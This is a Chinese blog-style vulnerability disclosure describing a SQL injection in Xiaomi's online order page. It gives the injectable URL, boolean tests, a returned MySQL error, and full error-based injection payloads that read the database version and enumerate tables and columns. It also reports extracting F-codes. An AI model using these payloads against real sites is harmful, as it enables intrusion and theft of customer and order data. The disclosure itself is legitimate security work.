前言
1.这里记一下小米发现小米电商网站一个非常严重的漏洞的发现和协助修复过程。听说发现小米安全漏洞可以获送小米手机,所以也就找到了电商主站的一个严重安全漏洞。
2.电商网站存在这样的漏洞,后果非常严重,比如用户数据,订单信息,支付信息都是非常敏感的数据。
3.漏洞是修复了,手机真心没有。
4.这里感谢下小米谢良大哥,协助漏洞利用的阿斌http://weibo.com/bingobest,吐槽下不重视信息安全的小米高管。
5.小米是民族企业,作为中国人,我希望看到他越办越好!
6.我的微博地址http://www.weibo.com/evilniang 欢迎大家关注。
以下是协助漏洞修复的一些文档。
身边各个朋友都换了iphone android手机,还在用nokia E65的我表示压力颇大。上周想换个手机,再三考虑,觉得小米确实不错,值得入手。哈哈,你懂得,于是就看看小米电商主站了。
这里发现一个非常严重的sql漏洞,可以直接利用读取数据库任意信息。对于一个电商网站,这个漏洞的严重性可想而知!
主要问题在于http://order.xiaomi.com/order/updaterender/orderId/1120323611196808/type/address
Order_id参数存在sql注射漏洞
当我们提交
http://order.xiaomi.com/order/updaterender/orderId/1120323611196808’/type/address
服务器返回
CDbException
CDbCommand æ— æ³•æ‰§è¡Œ SQL è¯å¥: SQLSTATE[42000]: Syntax error or access violation: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' and goods_id in (1016,1198,1199,1270)' at line 1
提交
http://order.xiaomi.com/order/updaterender/orderId/1120323611196808 and 1=1/type/address
服务器返回正常页面
当提交
http://order.xiaomi.com/order/updaterender/orderId/1120323611196808 and 1=2/type/address
服务器返回提示修改订单需要发送手机验证码。
这里分析一下大概可以明白整个sql运行的机制.
Order_id带入查询语句,查询订单中是否有小米手机。
如果有。 Order_id再带入查询语句查询订单的所有信息。
如果没有,Order_id带入查询语句查询订单的手机号码。
这里union select等语句应该是无法执行的,估计第一条查询语句返回的值不会回显给客户端,只是一个true or flase,作为判断执行第二条语句。
这里我们可以使用mysql盲注进行注射。当然,由于服务器回显错误,所以我们可以使用mysql报错注射进行注射。
GET /order/updaterender/orderId/1120321717889707 and+1=(select+*+from+(select+NAME_CONST(version(),1),NAME_CONST(version(),1))+as+x)--/type/address
获得mysql version
5.5.15-log
继续使用
and(select 1 from(select count(*),concat((select (select (select distinct concat(0x7e,0x27,hex(cast(table_name as char)),0x27,0x7e) from information_schema.tables where table_schema='xm_shop' limit 1,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1
可以获得数据库的表参数
and(select 1 from(select count(*),concat((select (select (select distinct concat(0x7e,0x27,column_name,0x27,0x7e) from information_sechma.columns where table_schema='xm_shop' and table_name='xm_order'limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1
获得数据库的列参数
这里包括很多敏感数据表列
比如 **order ***user ***admin_user等
这里构造获得管理员密码
哈哈,但是这个不是我想要的,我想要的是小米手机啊。发现数据库里面存在***queue_vcode,这就是传说中的F吗吧
F码拿到了,测试到此。未做进一步渗透,未植入任何木马,篡改任何数据,使用任何F码。本次是一次纯技术性测试。
电商网站存在这样的漏洞,后果非常严重,比如用户数据,订单信息,支付信息都是非常敏感的数据。这里不多说,希望这个漏洞值得我将nokia换成小米。
另外:祝小米越办越好。
谢良大哥今天说这个漏洞用浏览器直接访问会看不到报错信息。
这里我对漏洞做一下补充,需要自己构造数据包发送给服务端,这里写了个程序。代码一并附上。
程序主界面(程序需要java环境,运行前请配置)
填入任意小米账号
点击登录
然后列表(程序会卡死,等待列表全部完成大约几分钟之后,程序才会返回全部表明)
然后列字段
程序并没有列数据功能。为了辅助小米技术人员了解这个漏洞严重性,这里附上程序代码。请参阅,并及时修正漏洞。希望小米越做越好。